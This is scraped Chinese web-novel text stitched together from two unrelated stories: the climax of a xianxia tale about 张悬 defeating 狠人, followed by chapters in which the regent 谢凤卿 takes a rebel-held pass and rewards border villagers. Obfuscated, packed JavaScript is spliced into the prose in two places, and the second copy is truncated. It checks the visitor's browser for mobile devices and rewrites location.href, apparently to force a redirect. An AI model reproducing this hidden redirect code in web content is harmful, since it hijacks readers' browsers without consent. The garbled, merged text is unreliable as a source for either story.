“我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546042|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第70章他此刻…在做什么呢? 城楼上的叛军显然没有预料到这样的战术,顿时阵脚大乱。有人惊慌失措地躲避落石,有**声呼喊,更有甚者直接丢下武器想要逃跑。原本严密的防守阵型,在这一刻出现了明显的破绽。 谢凤卿站在车顶,冷静地观察着敌军的反应。她注意到守军指挥官正在竭力维持秩序,但士兵们的恐慌情绪已经在蔓延。这个精心设计的战术,不仅达到了物理上的震慑效果,更在心理上给予了敌军沉重一击。 "现在,"谢凤卿转身对霍三娘说道,"可以准备下一步了。"她的眼中闪烁着智慧的光芒,每一个决策都展现出一个出色统帅应有的远见与谋略。 就在这混乱之际,谢凤卿突然纵马冲出军阵!她银甲在烈日下闪耀,玄色斗篷在风中如展翅的巨鹰。 “王爷!”霍三娘惊呼,却已来不及阻拦。 谢凤卿却已一马当先,直奔关门而去。风雪十八骑紧随其后,形成一道坚不可摧的护卫屏障。 城楼上,叛军将领见状,急忙下令:“放箭!放箭!” 箭雨倾泻而下,密集如蝗。谢凤卿却不闪不避,桃花剑舞得密不透风,将箭矢尽数挡开。剑光如虹,在她周身形成一道无形的屏障。转眼间,她已冲至关门前。 那是一扇厚重的铁木城门,被数道粗大的铁索牢牢锁住。谢凤卿勒马停住,白马人立而起,发出一声长嘶。她抬头望向城楼上的叛军将领,目光如电。 谢凤卿勒住马缰,白马在关门前人立而起,发出一声震慑人心的长嘶。她目光如电,直刺城楼上那个熟悉的身影——李崇山,曾经的北疆抗蛮名将,如今却成了叛军守将。 "李将军,"她的声音清冷如冰,却带着一种奇特的穿透力,在狭窄的谷道中回荡,"记得三年前北疆雪原,你率三百轻骑突袭蛮族大营,身中七箭仍死守阵地,为大军合围争取了宝贵时间。那时你满身是血,却依然高举战旗,高呼"誓死不退"。" 李崇山身形猛地一颤,握着剑柄的手不自觉地收紧,指节泛白。他脸上的刀疤在阳光下显得格外狰狞,那是北疆战场上留下的荣耀印记。"谢凤卿,休要再提往事!"他的声音嘶哑,带着压抑的愤怒。 "为何不能提?"谢凤卿目光如炬,"那个为国浴血的李将军,为何会变成今日叛国之贼?" "你懂什么!"李崇山突然暴喝,眼中迸发出痛苦与怨恨交织的光芒,"我李家三代为将,满门忠烈!可朝廷是如何对待我们的?我父亲李老将军镇守北疆三十年,最后落得个莫须有的罪名,满门抄斩!若不是我当时在外征战,也难逃一死!" 他的声音在山谷中回荡,带着撕心裂肺的痛楚:"你们这些高高在上的皇室贵胄,可曾体会过家破人亡的滋味?可知道当我得知消息,连夜赶回却只见到满门血海时的绝望?" 谢凤卿沉默片刻,眼中闪过一丝复杂:"李老将军之事,我有所耳闻。但那是在先帝时期,受奸臣蒙蔽。如今新帝登基,正在清查旧案,还忠良清白..." "清白?"李崇山仰天大笑,笑声凄厉,"人死不能复生,清白有何用?我今日所为,就是要让这昏庸的朝廷付出代价!" 话音未落,他突然从城楼上一跃而下,手中长刀带着雷霆万钧之势直劈谢凤卿面门!这一刀快如闪电,刀风凌厉,显然是要置她于死地。 谢凤卿早有防备,桃花剑瞬间出鞘,剑尖精准地点在刀锋最薄弱处。叮的一声脆响,刀剑相碰迸发出耀眼的火花。她借力一个翻身,轻盈地落在地上,与李崇山对峙。 "既然你执迷不悟,"谢凤卿眼神转冷,"那就休怪本王不念旧情了。" 李崇山不发一言,刀法如**般袭来。他的刀势大开大合,每一刀都蕴含着磅礴的力量,显然是要以力破巧。谢凤卿却不与他硬拼,身形如穿花蝴蝶般在刀光中游走,每一次都险之又险地避开致命一击。 观战的将士们无不屏息凝神。霍三娘紧张地握紧了剑柄,随时准备出手相助。但谢凤卿却始终保持着冷静,她在观察,在等待。 三十招过后,李崇山的刀法开始出现细微的破绽。长时间的猛攻消耗了他大量体力,而谢凤卿的以逸待劳策略开始见效。 就在这时,谢凤卿突然开口:"李将军,你可知道当年构陷李老将军的主谋是谁?" 李崇山刀势一滞:"你说什么?" "是当时的兵部尚书,如今的叛军首领——赵德明!"谢凤卿的声音清晰有力,"他为了铲除异己,故意伪造证据,陷害忠良。如今又利用你的仇恨,让你为他卖命!" 这个消息如同晴天霹雳,让李崇山整个人都愣住了。就在这一瞬间的失神,谢凤卿动了。 她身形如电,桃花剑划出一道惊艳的弧线,却不是攻向李崇山,而是直取关门上最粗的那道铁索!这一剑凝聚了她全部的精气神,剑锋上仿佛有流光闪动。 "铛——!" 震耳欲聋的巨响中,号称坚不可摧的铁索应声而断!不等众人反应过来,她剑势连绵不绝,如行云流水般将其余铁索尽数斩断。 沉重的关门在失去束缚后,发出吱呀的呻吟,缓缓向内开启! "不可能!"李崇山目瞪口呆,几乎跌坐在地。他看着那个持剑而立的女子,突然明白了什么才是真正的力量——不是蛮力,而是智慧与勇气的完美结合。 谢凤卿飘然落回马背,桃花剑直指城楼:"现在,还有谁要挡我之路?" 她的声音不大,却带着令人心悸的威严。城楼上的叛军面面相觑,竟无一人敢上前。李崇山望着她,眼中闪过一丝复杂的神色,最终长叹一声,扔下了手中的长刀。 这一刻,胜负已分。 她声音不高,却自有一股慑人威严。城楼上的叛军面面相觑,竟无一人敢上前。这位银甲女子的勇武,已经超出了他们的理解。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546590|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在这时,后方大军已然赶到。见关门已开,顿时士气大振,如潮水般涌入门内。叛军溃败如山倒,不过半个时辰,战事已然平息。 未时三刻,黑风口关顶。烈日已经开始西斜,将天边的云彩染成了橘红色。 谢凤卿迎风而立,俯瞰着脚下山河。战火已熄,关内关外,大明旗帜迎风招展。远处,幸存的边民开始从藏身之处走出,小心翼翼地查看情况。 霍三娘快步走来,面带喜色:“王爷,叛军已全部肃清,缴获兵器粮草无数。我军伤亡不足百人,可谓大捷!” 谢凤卿点头,目光依然远眺。从关顶望去,可以看到蜿蜒的官道,以及远处若隐若现的村落。“这一战,只是开始。边关安定,方能巩固国之根本。”她轻声道,仿佛在规划着一个宏伟的蓝图。 她缓缓转身,玄色斗篷在夜风中划出一道优雅的弧线。目光越过重重山峦,投向遥远的京城方向,那双总是清冷明澈的眸子里,此刻漾开了一抹难得一见的柔和波光,如同冰封的湖面悄然融化,露出底下温润的质地。 “你说,”她的声音比平时低沉了几分,带着一丝不易察觉的缱绻,“他此刻…在做什么呢?”这轻声的问话,不像是执掌乾坤的摄政王在询问臣下,倒更像是一个寻常女子,在夜深人静时,对远方牵挂之人的自然流露。她的指尖无意识地轻抚着腰间桃花剑的剑柄,那细腻的纹路仿佛能带来些许慰藉。 霍三娘站在她侧后方,将这一闪而过的柔情尽收眼底,心中了然,唇角不由泛起一丝温和的笑意。她深知,唯有提及那位监国亲王,才能让这位总是冷静自持的王爷,露出这般近乎柔软的神态。 “王爷放心,”霍三娘的声音放得轻缓,带着宽慰的意味,“监国大人定然是在为您忧心,亦为您骄傲。”她顿了顿,想象着京中的情形,继续说道,“想必此刻,他正端坐于紫宸殿中,案头奏折堆积如山,朱笔批阅间,心思只怕早已飞越千山万水,到了这边关,到了您的身边。” 谢凤卿闻言,唇角微微上扬,勾勒出一抹极浅却真实的弧度。她仿佛能看见那座熟悉的宫殿里,萧御蹙眉处理政务的模样,也能感受到那份跨越空间的惦念。夜风拂过,带来一丝凉意,却吹不散心间悄然升起的暖流。这一刻,她不再是孤身立于关楼的统帅,而是被一份遥远却坚定的牵挂温暖着的女子。 正说着,关下突然传来骚动。一名士兵快步来报:“王爷,关下来了许多百姓,说是要感谢王爷解了边关之危。” 谢凤卿微怔,随即走下关楼。 关门外,黑压压的人群如同潮水般涌来,成千上万的边民扶老携幼,将关口前的空地挤得水泄不通。他们大多衣衫褴褛,面黄肌瘦,脸上刻满了战乱留下的苦难痕迹。老人们拄着粗糙的树枝做成的拐杖,妇人们怀抱着因饥饿而啼哭不止的婴孩,孩童们睁着惊恐而又好奇的大眼睛,望着这位传说中的女摄政王。 第71章凤卿,这么晚了还在练剑 当谢凤卿的身影出现在关口时,人群中顿时响起一片低低的啜泣声和激动的呼喊声。一位白发苍苍的老翁颤巍巍地走上前,布满老茧的双手紧紧握住一根简陋的木杖,浑浊的双眼含着热泪:"王爷千岁!多谢王爷救命之恩啊!"他的声音嘶哑,却饱含真挚,"那些叛军占据关口的这些时日,我们这些老百姓饱受蹂躏,家中的存粮被抢掠一空,不少青壮年被强征入伍...如今终于重见天日了!" 谢凤卿快步上前,亲手扶起老翁。她注意到老人破旧的衣衫下露出嶙峋的肩骨,手心传来的触感瘦削得令人心疼。"老人家请起,"她的声音温和而坚定,"守护百姓安康,本是本王分内之责。" 她环视四周,目光扫过每一张饱经风霜的面孔。一个约莫五六岁的小女孩躲在母亲身后,怯生生地探出头来,那双清澈的眼睛让谢凤卿心中一软。她蹲下身,从袖中取出一块饴糖,柔声道:"来,这个给你。"小女孩犹豫地看了看母亲,在得到默许后,才小心翼翼地接过糖果,脸上绽放出天真的笑容。 "自今日起,"谢凤卿站起身,声音清越有力,确保每个人都能听清,"黑风口及周边三县,免赋税三年!本王将在此设立官办学堂,凡适龄孩童,无论男女,皆可免费入学读书识字。" 人群中顿时响起一片惊叹声。一个书生打扮的年轻人激动地追问:"王爷,此话当真?寒门子弟也能入学?" "自然。"谢凤卿肯定地点头,"不仅如此,本王已命工部拟定章程,将在黑风口兴修水利,开凿灌溉渠道,引雪山水源灌溉良田。同时设立官营织造局,收购当地羊毛,教授妇人织造技艺,所产毛毡由官府统一收购。" 她顿了顿,继续宣布:"另将修筑通往中原的官道,设立驿站,方便商旅往来。边关特产可直运中原,中原货物也能顺畅运抵。如此,不出三年,定让边关百姓安居乐业!" 这番承诺让在场的边民激动不已。一位老妇人抹着眼泪对身旁的儿媳说:"听见了吗?咱们孙女也能上学堂了!再不用像我们这一辈,睁眼瞎过一辈子。"几个年轻人兴奋地讨论着修路带来的商机,盘算着可以经营哪些营生。 霍三娘适时呈上一卷文书,谢凤卿接过,当众展开:"这是本王亲笔所书的惠民政令,即刻生效。各乡里正需将政令内容晓谕百姓,若有官吏胆敢阳奉阴违,克扣惠民之策,一经查实,严惩不贷!" 她的话音刚落,人群中爆发出震耳欲聋的欢呼声。百姓们纷纷跪地叩拜,高呼"摄政王千岁"。那位最初上前的老翁更是老泪纵横,连连作揖:"王爷如此仁政,实乃边关百姓之福啊!" 谢凤卿望着眼前激动的民众,心中涌起一股暖流。她轻抚腰间的桃花剑,想起母亲生前常说:治国之道,在于民心。今日她以仁政收边关民心,正是践行母亲的教诲。 夕阳西下,将她的身影拉得很长。在边民们充满希望的目光中,她仿佛看到了黑风口更加美好的明天。 百姓们闻言,无不感激涕零,高呼“摄政王千岁”。有妇人当场痛哭失声,有男子激动地挥舞着破旧的帽子。这一刻,谢凤卿真切地感受到了肩头的责任——不仅是为这些边民,更是为天下所有期盼太平的百姓。 就在这时,一骑快马从关内疾驰而来,马蹄踏在碎石路上发出清脆的声响,打破了关前的喧嚣。马上的使者风尘仆仆,铠甲上沾满尘土,翻身下马时几乎站立不稳,却仍强撑着单膝跪地,恭敬地奉上一封用油纸仔细包裹的书信:“王爷,监国亲笔。” 